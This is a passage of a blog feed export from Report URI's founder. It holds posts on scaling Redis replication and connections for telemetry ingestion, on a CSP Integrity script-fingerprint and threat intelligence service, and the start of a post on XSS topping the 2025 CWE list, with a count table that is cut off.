Telemetry Dashboard</a> which is publicly available and will answer that very question. At the time of writing, this is what our summary looks like:</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-9.png\" class=\"kg-image\" alt=\"When “One in a Billion” Happens Every Day: Scaling Redis at Report URI\" loading=\"lazy\" width=\"847\" height=\"318\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-9.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-9.png 847w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>You can look at data by day, week, or even month, get technical breakdowns of the traffic like HTTP version, TLS version, client type, and more.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-10.png\" class=\"kg-image\" alt=\"When “One in a Billion” Happens Every Day: Scaling Redis at Report URI\" loading=\"lazy\" width=\"965\" height=\"570\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-10.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-10.png 965w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>You can even check out our mesmerising <a href=\"https://dash.report-uri.com/pewpewmap/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">PewPew Map</a> to view our inbound telemetry that runs live at 5 minutes behind real-time. But, enough about how much telemetry we're processing, let's get on to the 'how'. </p><p></p><h4 id=\"identifying-opportunities-for-improvement\">Identifying opportunities for improvement!</h4><p>Redis is a critical part of our infrastructure and we knew that more work was needed, so we sat down and came up with a list. Internally, we refer to these tickets as 'Mega Tickets', which signifies that they're going to be a parent ticket for a bunch of other tickets, and that there's going to be a lot of work involved!</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-3.png\" class=\"kg-image\" alt=\"When “One in a Billion” Happens Every Day: Scaling Redis at Report URI\" loading=\"lazy\" width=\"925\" height=\"843\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-3.png 925w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Quite of a few of these tickets were pretty interesting changes, resulting in some really big performance gains. Some of these tickets are also the kind of thing where you say \"well, duh...\" after you read them, but all of this was working perfectly until it wasn't. Scale creeps up on you and makes things that were previously easy much more difficult.</p><p></p><h4 id=\"optimising-replication-for-smooth-failovers\">Optimising replication for smooth failovers</h4><p>One of the main goals of introducing our High Availability setup with Redis Sentinel was so that we could gracefully failover between the primary and replica caches. This allows us to pull the primary out of use for updates, upgrades, maintenance, or if it fails and has an outage, automatically promoting the replica to the new primary to continue on. One issue that we had during failover testing was that the replica would fall a tiny fraction behind the primary on replication and when the replica was promoted to primary, rather than catching up on a small amount of data, it would instead trigger a full resync. This full sync of the dataset would hang inbound connections while processes sat around receiving the <code>LOADING</code> response from Redis, and occasionally the primary would get <code>oom</code> killed during the RDB sync. I became familiar with the copy-on-write semantic of the <code>fork()</code> sys call, which Redis uses for an RDB dump, during a <a href=\"https://scotthelme.co.uk/stronger-than-ever-how-we-turned-a-ddos-attack-into-a-lesson-in-resilience/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">targeted attack</a> we were subjected to at the start of 2025. While <code>fork()</code> means the child process doesn't theoretically need to replicate all of the data in memory, if you have a highly volatile dataset like we do, it does! The question is, though, why is it doing a full RDB sync?!</p><p>Here's how Redis streams write commands from a primary to a replica:</p><p></p><pre><code>                ┌─────────────────────────────────────────────┐\n                │                    PRIMARY                  │\n                │                                             │\n                │ ┌───────────────────────────────┐           │\nWrites from →   │ │   Command Stream (WRITE ops)  │           │\napplications ───▶│   (SET, HSET, INCR, etc.)     │           │\n                │ └──────────┬────────────────────┘           │\n                │            │                                │\n                │            ▼                                │\n                │  ┌──────────────────────────────┐           │\n                │  │   Replication Backlog (2 GB) │◄───┐      │\n                │  │  Circular buffer of last N B │    │      │\n                │  └──────────────────────────────┘    │      │\n                │            │                         │      │\n                │            │                         │      │\n                │            ▼                         │      │\n                │  ┌──────────────────────────────┐    │      │\n                │  │ Replica Output Buffer (512MB)│────┘      │\n                │  │ per connected replica client │           │\n                │  └──────────────────────────────┘           │\n                └─────────────────────────────────────────────┘\n                                              │\n                                              │ TCP stream of write commands\n                                              ▼\n                ┌─────────────────────────────────────────────┐\n                │                    REPLICA                  │\n                │                                             │\n                │ ┌───────────────────────────────┐           │\n                │ │   Input buffer (from primary) │           │\n                │ └──────────┬────────────────────┘           │\n                │            │                                │\n                │            ▼                                │\n                │  ┌──────────────────────────────┐           │\n                │  │ Apply to dataset in memory   │           │\n                │  └──────────────────────────────┘           │\n                └─────────────────────────────────────────────┘</code></pre><p></p><p>Redis only streams certain commands to the replica, those are the commands that change the dataset, so they're the only ones we need. These commands first flow into the Replication Backlog which is a circular buffer (ring buffer). Image a giant circle with the write commands being written clockwise around that circle and as the process continues, eventually you will just keep looping and overwriting yourself. The replicas are reading out of that buffer trying to keep up with the primary that is writing ahead of them. If the primary is writing faster than the replicas can read, the primary will 'overtake' the replicas and then the replicas can no longer read that data from the buffer, requiring a full re-sync from the primary instead.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-6.png\" class=\"kg-image\" alt=\"When “One in a Billion” Happens Every Day: Scaling Redis at Report URI\" loading=\"lazy\" width=\"1369\" height=\"887\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-6.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/03/image-6.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-6.png 1369w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>For each write that takes place in the buffer, there is an incrementing id value known as the <code>repl_offset</code>. A replica will keep track of the last id that it read so it can always know where it is up to in the buffer and come back for the next command, or determine if the buffer only contains commands that are too far ahead and it needs a full re-sync. Our default Replication Backlog (<code>repl-backlog-size</code>) was 64mb, which had been working well, but at the kind of throughputs we were now achieving on the cache, that gives us 4-5 seconds worth of history in the buffer. This means that if a replica loses contact for more than 5 seconds, when it comes back and tries to 'catch up' using the Replication Backlog, it can't, and requests a full re-sync from the primary. Increasing the memory resources on our servers and bumping the <code>repl-backlog-size</code> to 2GB gave us considerably more overhead and our Replication Backlog now means that a replica can be taken out of service for updates and a reboot, whilst still making it back in time to catch up using the Replication Backlog. This allows us to avoid the need for full resyncs and massively improves the efficiency of the failover process.</p><p></p><h4 id=\"persisting-connections-to-save-on-overheads\">Persisting connections to save on overheads</h4><p>Our ingestion servers can be processing thousands of telemetry events per second and after processing, the first place they land is in the Redis cache. This means that our ingestion servers, along with our sentinels and other servers, can be making thousands of connections per second to Redis. Here is a quiet time of day when we're handling almost 1,500 connections/second to Redis.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-7.png\" class=\"kg-image\" alt=\"When “One in a Billion” Happens Every Day: Scaling Redis at Report URI\" loading=\"lazy\" width=\"1103\" height=\"555\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/03/image-7.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-7.png 1103w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>That's a lot of overhead in creating and destroying so many connections, but this is the result of using <code>connect()</code> in <code>phpredis</code>. Each connection only exists for the duration of the current request because the socket is tied to the request and will be closed when the request ends. The connection will then be fired up again in, most likely, just a few milliseconds when the next request arrives...</p><p>Switching to <code>pconnect()</code> seems like an obvious win here, but it does require some careful consideration. Instead of the socket being tied to the request, it would now be held by the PHP-FPM worker process, allowing for a much longer life and, importantly, re-use across many requests. This is great, because we avoid all of the overheads of setting up and tearing down the connection on each request, but, we're now going to have sockets held open for much longer, which means more connections open at any given time. This would most likely be an issue on the primary Redis server which will have connections held open from our ingestion servers, consumer servers, the sentinels, the replica, and so on. Would it be able to sustain so many long-lived connections? We ran the maths on this, allowed for a lot of error, and decided that our Redis server was capable of handling it, so we deployed the change.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-8.png\" class=\"kg-image\" alt=\"When “One in a Billion” Happens Every Day: Scaling Redis at Report URI\" loading=\"lazy\" width=\"1103\" height=\"552\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/03/image-8.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-8.png 1103w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Almost immediately the number of new connections being made to Redis plummeted and the number of clients connected skyrocketed. Because a typical PHP-FPM worker can process 3,600 inbound requests (<code>pm.max_requests = 3600</code>) we're saving 3,599 connections to Redis for every 3,600 inbound telemetry events that we process, which is quite the significant saving! This also reduced the processing time of each request on our ingestion servers because the Redis connection is most likely already setup and waiting, so we're saving that overhead on each request too. The final consideration was then that a process could connect to the primary, and a failover could happen after the connection was established, meaning you're now connected to the replica. In this case you will get a <code>READONLY</code> exception if you try to write or change data and simply need to hit the Sentinels again to reconnect to the new primary and retry the same request again.</p><p></p><h4 id=\"avoiding-large-reads-that-take-too-long\">Avoiding large reads that take too long</h4><p>As Redis is single-threaded, at least on the main command processing pathway, having any single operation that keeps that thread busy for prolonged periods of time is a Very Bad Idea (TM). Our Sentinels will determine if the primary Redis cache is available by sending requests and waiting for an answer, but if you can keep Redis busy for too long, the Sentinels can determine it's not available and trigger a failover. We saw some failovers that seemed to have no explanation in terms of the cache being unavailable, yet they happened anyway. In the end we turned to <code>SLOWLOG</code> to see if we could explain what might make Redis look like it wasn't available, and we found the culprit.</p><p>In our telemetry processing pipeline, all events pass through Redis and are gathered in a hash, ready for a consumer to come along and pull a batch of events to process them into the database (Azure Table Storage). To do this, these consumer servers will call <code>hGetAll()</code> to grab the content of the hash and then delete it from Redis, and this is where things were going wrong. </p><p></p><pre><code> 1) 1) (integer) 6436\n    2) (integer) 1762833603\n    3) (integer) 1049238\n    4) 1) \"HGETALL\"\n       2) \"TEMP-WIZARD-1969791144\"\n    5) \"snip:34018\"\n    6) \"\"\n 2) 1) (integer) 6435\n    2) (integer) 1762833423\n    3) (integer) 1005244\n    4) 1) \"HGETALL\"\n       2) \"TEMP-WIZARD-533592971\"\n    5) \"snip:54284\"\n    6) \"\"\n 3) 1) (integer) 6434\n    2) (integer) 1762833063\n    3) (integer) 1072218\n    4) 1) \"HGETALL\"\n       2) \"TEMP-WIZARD-383568749\"\n    5) \"snip:47118\"\n    6) \"\"\n 4) 1) (integer) 6433\n    2) (integer) 1762833003\n    3) (integer) 1073379\n    4) 1) \"HGETALL\"\n       2) \"TEMP-WIZARD-1518767320\"\n    5) \"snip:36282\"\n    6) \"\"\n 5) 1) (integer) 6432\n    2) (integer) 1762832822\n    3) (integer) 1002085\n    4) 1) \"HGETALL\"\n       2) \"TEMP-WIZARD-367184566\"\n    5) \"snip:60828\"\n    6) \"\"</code></pre><p></p><p>There's a <code>hGetAll()</code> call in there that took 1,073,379μs, which is almost 1.1 seconds, to complete! These <code>SLOWLOG</code> entries were also taken during a relatively quiet period for us and, given our consumer servers pull on a regular cadence, a high volume of inbound telemetry would mean more data to fetch in the <code>hGetAll()</code> and a longer time to complete as a result.</p><p>To remove this long blocking call we migrated from <code>hGetAll()</code> to <code>hScan()</code> instead, and using a <code>Generator</code> in PHP we can now progressively read back the content of the hash allowing for other commands to run between <code>hScan()</code> calls. We're currently capping the length of a <code>hScan()</code> call to ~500,000μs (500ms) so that we're never keeping the main process busy for too long.</p><p></p><pre><code> 1) 1) (integer) 5957\n    2) (integer) 1763047503\n    3) (integer) 599277\n    4) 1) \"HSCAN\"\n       2) \"TEMP-MEGA-775261748\"\n       3) \"0\"\n       4) \"COUNT\"\n       5) \"100000\"\n    5) \"snip:52516\"\n    6) \"\"\n 2) 1) (integer) 5956\n    2) (integer) 1763047382\n    3) (integer) 575907\n    4) 1) \"HSCAN\"\n       2) \"TEMP-MEGA-991577969\"\n       3) \"0\"\n       4) \"COUNT\"\n       5) \"100000\"\n    5) \"snip:42706\"\n    6) \"\"\n 3) 1) (integer) 5955\n    2) (integer) 1763047321\n    3) (integer) 546641\n    4) 1) \"HSCAN\"\n       2) \"TEMP-MEGA-1663792648\"\n       3) \"0\"\n       4) \"COUNT\"\n       5) \"100000\"\n    5) \"snip:39818\"\n    6) \"\"\n 4) 1) (integer) 5954\n    2) (integer) 1763047262\n    3) (integer) 563350\n    4) 1) \"HSCAN\"\n       2) \"TEMP-MEGA-903905420\"\n       3) \"0\"\n       4) \"COUNT\"\n       5) \"100000\"\n    5) \"snip:50746\"\n    6) \"\"\n 5) 1) (integer) 5953\n    2) (integer) 1763047201\n    3) (integer) 609534\n    4) 1) \"HSCAN\"\n       2) \"TEMP-MEGA-1690091359\"\n       3) \"0\"\n       4) \"COUNT\"\n       5) \"100000\"\n    5) \"snip:49308\"\n    6) \"\"</code></pre><p></p><p>This also made our Redis resource graphs much more smooth by removing some of the huge peaks caused by these reads and also stopped other clients stalling out for brief periods when the main thread was busy. Overall, a nice improvement.</p><p></p><h4 id=\"add-more-cloud\">Add more cloud</h4><p>You can solve a lot of problems by throwing more money at them, but we tend to hold out and only use this as a last resort when it's the proper solution to a problem. The Redis caches that handle our inbound telemetry are doing a lot of work for us, and despite all of our optimisations, we arrived at the conclusion that they needed more resources. The Sentinel servers have been doing awesome and will probably be able to cope for the foreseeable future, especially after the <code>pconnect()</code> upgrade significantly reduced the load on them, but our main caches did get an upgrade.</p><p></p><pre><code>redis-report-cache-primary\nin Report URI / 16 GB Memory / 4 Intel vCPUs / 160 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64\ntags: redis-report\n\nredis-report-cache-replica\nin Report URI / 16 GB Memory / 4 Intel vCPUs / 160 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64\ntags: redis-report\n\nredis-report-cache-sentinel-01\nin Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64\ntags: redis-report\n\nredis-report-cache-sentinel-02\nin Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64\ntags: redis-report\n\nredis-report-cache-sentinel-03\nin Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64\ntags: redis-report\n\nredis-report-cache-sentinel-04\nin Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64\ntags: redis-report</code></pre><p></p><p>Thanks to the High Availability deployment with Sentinel, this was a simple case of pulling the replica down, upgrading the server, and bringing it back online. Once the replica had fully caught up, we triggered a failover so the upgraded replica became the primary, and then we could pull down the other server which was now acting as the replica for its upgrades. Nice and easy! This upgrade didn't add a huge amount of cost, but it has added a huge amount of headroom when it comes to the capability of the servers, giving us some breathing room well into the future.</p><p></p><h4 id=\"future-ideas\">Future ideas</h4><p>We've considering pushing read traffic against the Redis replica before now, but there are a few scenarios where this isn't going to work particularly well for us. The main problem is that we have a volatile dataset of inbound telemetry that is undergoing significant write velocity, so reading from that needs to be done carefully. We also use Redis for various atomic write-locks in several code paths so we need the read-after-write consistency that we'd lose during the sync to the replica. For now, our optimisations seem to be providing significant benefits and our infrastructure looks like it can handle a lot more before we need to consider further changes or upgrades. If you have any other suggestions on how can improve or anything worth tweaking that might help us, please feel free to drop them in the comments below!</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/redis-billions.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/redis-billions.webp",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/redis-billions.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "Redis",
              "term": "Redis",
              "url": null
            }
          ]
        },
        {
          "id": "692d6a29560c590001f2be83",
          "title": "Leverage our treasure trove of Threat Intelligence data",
          "description": "<p>We've been working on <a href=\"https://report-uri.com/products/csp_integrity?ref=scotthelme.ghost.io\" rel=\"noreferrer\">CSP Integrity</a> for a little while now, and it was only announced in open beta back in September. Since then, as more of our customers start to use it, we've continued to improve it and observe the potentially huge benefits. </p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/logo.png\" class=\"kg-image\" alt loading=\"lazy\" width=\"1712\" height=\"219\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/logo.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2025/12/logo.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/logo.png 1712w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h4 id=\"csp-integrity\">CSP Integrity</h4>",
          "url": "https://scotthelme.ghost.io/leverage-our-treasure-trove-of-threat-intelligence-data/",
          "published": "2026-03-18T16:15:32.000Z",
          "updated": "2026-03-18T16:15:32.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/threat-intel-treasure-trove.webp\" alt=\"Leverage our treasure trove of Threat Intelligence data\"><p>We've been working on <a href=\"https://report-uri.com/products/csp_integrity?ref=scotthelme.ghost.io\" rel=\"noreferrer\">CSP Integrity</a> for a little while now, and it was only announced in open beta back in September. Since then, as more of our customers start to use it, we've continued to improve it and observe the potentially huge benefits. </p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/logo.png\" class=\"kg-image\" alt=\"Leverage our treasure trove of Threat Intelligence data\" loading=\"lazy\" width=\"1712\" height=\"219\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/logo.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2025/12/logo.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/logo.png 1712w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h4 id=\"csp-integrity\">CSP Integrity</h4><p>You can read the full post on <a href=\"https://scotthelme.co.uk/capture-javascript-integrity-metadata-using-csp/?ref=scotthelme.ghost.io\">CSP Integrity</a> and how it works, but here's a quick TLDR. You can now leverage a native feature in modern browsers to have the browser send you the cryptographic fingerprint of any JavaScript that is running on your site. Once we receive that data, we can do some pretty amazing things with it, and it opens up a whole new world of possibilities. This is a fundamental shift in browser capabilities and the best part is that if it takes you more than 30 seconds to configure and deploy this, you probably did it wrong! </p><p></p><h4 id=\"our-fingerprint-database\">Our Fingerprint Database</h4><p>Receiving the fingerprint of all scripts that are running is great, but it's even better to have an enormous database of known fingerprints to check against, and that's something we've been working on. Our database only contains the fingerprints of <strong><em>known and verified</em></strong> files, and that verification was done by us. That means if we get a match for the fingerprint provided against our database, we can say with certainty that we know what that file is. </p><p>Our latest data is available to all customers in production right now, so if you're sending us CSP Integrity data, it's being cross-checked against our database already. This is the latest output from the process that generates our data after passing over the terabytes of JavaScript we already have:</p><p>⭐ Produced sha256 hashes:11,276,852<br>⭐ Produced sha384 hashes:11,276,852<br>⭐ Produced sha512 hashes:11,276,852<br>📦 <strong>33,830,556 total fingerprints</strong></p><p></p><p>If you're using common libraries or files right now, we can start to identify and tag them in our UI with information on the source of that file, and having the ability to do this across literally <em>millions</em> of files really has an impact.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-7.png\" class=\"kg-image\" alt=\"Leverage our treasure trove of Threat Intelligence data\" loading=\"lazy\" width=\"525\" height=\"97\"></figure><p></p><p>On top of this new capability, we of course still have all of our existing Threat Intelligence capabilities too, which leverage our own feeds of data, and external feeds from industry, to identify known bad domains and files, suspicious activity, known IoC (Indicator of Compromise) and much more.</p><p></p><h4 id=\"vulnerability-mapping\">Vulnerability mapping</h4><p>When we're observing the use of thousands of different JavaScript libraries by our customers, it's obvious that some of those libraries are going to contain security vulnerabilities. Because we can identify individual files based on their fingerprint, and then map that back to which version of which library is being used, we can then gather data on any vulnerabilities that impact our customers and let them know!</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-6.png\" class=\"kg-image\" alt=\"Leverage our treasure trove of Threat Intelligence data\" loading=\"lazy\" width=\"527\" height=\"223\"></figure><p></p><p>We're currently tracking <em>hundreds </em>of unique vulnerabilities across all of our verified libraries that impact literally <em>thousands</em> of files, so you can rest assured that if you're using any kind of popular library that has a know problem, we're going to detect it. </p><p></p><h4 id=\"threat-intelligence\">Threat Intelligence</h4><p>We now regularly collect data from almost 250,000,000 unique browsers per month, that's a <strong><em>quarter of a billion browsers </em></strong>sending us data on what they're seeing on the Web. With our birds-eye view of so much activity, we can infer a lot from the data that we gather, far beyond the value that this provides to any individual customer. For example, a very simple metric that we use regularly is \"For the tens of thousands of sites that use our service, have any of them ever loaded this JavaScript before?\". For the answer to that question to have value, the number of sites we're protecting has to be large enough to matter, but as we continue to grow, the answer to that question is meaningful. Knowing if you're the only site in the World loading some specific JavaScript, or you're one of thousands, is a great insight to have. There are a whole variety of seemingly simple metrics like this that are incredibly valuable and we are now in a position to start leaning on this data to better protect our customers. </p><p>On top of this, we also ingest various industry feeds of Threat Intelligence data to enrich our own. Just because we haven't seen a URL behave in a malicious way just yet, it doesn't mean that someone else hasn't. By feeding in Domain Reputation Data, Malware Feeds, Phishing Campaigns, IP Reputation and more, we can look at what JavaScript you're loading and make a determination on how likely it is to be trustworthy or not.</p><p></p><h4 id=\"more-to-come\">More to come!</h4><p>As always, we're continually working to improve our product to better serve our customers. If you have any feature ideas or suggestions, please do feel free to reach out to me, and keep an eye out for some of the exciting announcements coming in H1 2026!</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/threat-intel-treasure-trove.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/threat-intel-treasure-trove.webp",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/threat-intel-treasure-trove.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "Threat Intelligence",
              "term": "Threat Intelligence",
              "url": null
            },
            {
              "label": "CSP Integrity",
              "term": "CSP Integrity",
              "url": null
            }
          ]
        },
        {
          "id": "69af02a1fedfb90001b38825",
          "title": "XSS Ranked #1 Top Threat of 2025 by MITRE and CISA",
          "description": "<p>Look who's back! After we completed 2024, XSS managed to get itself ranked as the #1 top threat of the year. I <a href=\"https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">wrote about that</a>, and at the end of the blog post I said \"<em>Let's make sure that XSS isn't #1 in</em></p>",
          "url": "https://scotthelme.ghost.io/xss-ranked-1-top-threat-of-2025-by-mitre-and-cisa/",
          "published": "2026-03-10T14:21:27.000Z",
          "updated": "2026-03-10T14:21:27.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/mitre-cisa.png\" alt=\"XSS Ranked #1 Top Threat of 2025 by MITRE and CISA\"><p>Look who's back! After we completed 2024, XSS managed to get itself ranked as the #1 top threat of the year. I <a href=\"https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">wrote about that</a>, and at the end of the blog post I said \"<em>Let's make sure that XSS isn't #1 in 2025!</em>\"... Well, I have some bad news...</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image.png\" class=\"kg-image\" alt=\"XSS Ranked #1 Top Threat of 2025 by MITRE and CISA\" loading=\"lazy\" width=\"820\" height=\"425\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image.png 820w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h4 id=\"looking-at-the-data\">Looking at the data</h4><p>I wrote a whole bunch in that <a href=\"https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">previous blog post</a> about what the CVE program is and what CWE means, so if you want the background, you should definitely head there and read that post first. Here, I want to take a look at the data and see how things are going. Looking at the <a href=\"https://cwe.mitre.org/top25/archive/2025/2025_cwe_top25.html?ref=scotthelme.ghost.io#top25list\" rel=\"noreferrer\">list</a> of the Top 25 threat in 2025, and then downloading all of the <a href=\"https://www.cve.org/downloads?utm_source=scotthelme.co.uk\" rel=\"noreferrer\">raw data</a>, we can produce some details on the top threats. </p><p></p><table>\n<thead>\n<tr>\n<th>CWE ID</th>\n<th style=\"text-align:right\">Vulnerabilities Caused</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>CWE-79</td>\n<td style=\"text-align:right\">7,303</td>\n</tr>\n<tr>\n<td>CWE-89</td>\n<td style=\"text-align:right\">3,758</td>\n</tr>\n<tr>\n<td>CWE-862</td>\n<td style=\"text-align:right\">2,190</td>\n</tr>\n<tr>\n<td>CWE-352</td>\n<td style=\"text-align:right\">1,682</td>\n</tr>\n<tr>\n<td>CWE-22</td>\n<td style=\"text-align:right\">967</td>\n</tr>\n<tr>\n<td>CWE-121</td>\n<td style=\"text-align:right\">827</td>\n</tr>\n<tr>\n<td>CWE-284</td>\n<td style=\"text-align:right\">796</td>\n</tr>\n<tr>\n<td>CWE-78</td>\n<td style=\"text-align:right\">748</td>\n</tr>\n<tr>\n<td>CWE-434</td>\n<td style=\"text-align:right\">744</td>\n</tr>\n<tr>\n<td>CWE-120</td>\n<td style=\"text-align:right\">732</td>\n</tr>\n<tr>\n<td>CWE-200</td>\n<td style=\"text-align:right\">703</td>\n</tr>\n<tr>\n<td>CWE-125</td>\n<td style=\"text-align:right\">653</td>\n</tr>\n<tr>\n<td>CWE-416</td>\n<td style=\"text-align:right\">642</td>\n</tr>\n<tr>\n<td>CWE-502</td>\n<td style=\"text-align:right\">619</td>\n</tr>\n<tr>\n<td>CWE-77</td>\n<td style=\"text-align:right\">550</td>\n</tr>\n<tr>\n<td>CWE-20</td>\n<td style=\"text-align:right\">516</td>\n</tr>\n<tr>\n<td>CWE-122</td>\n<td style=\"text-align:right\">513</td>\n</tr>\n<tr>\n<td>CWE-787</td>\n<td style=\"text-align:right\">500</td>\n</tr>\n<tr>\n<td>CWE-918</td>\n<td 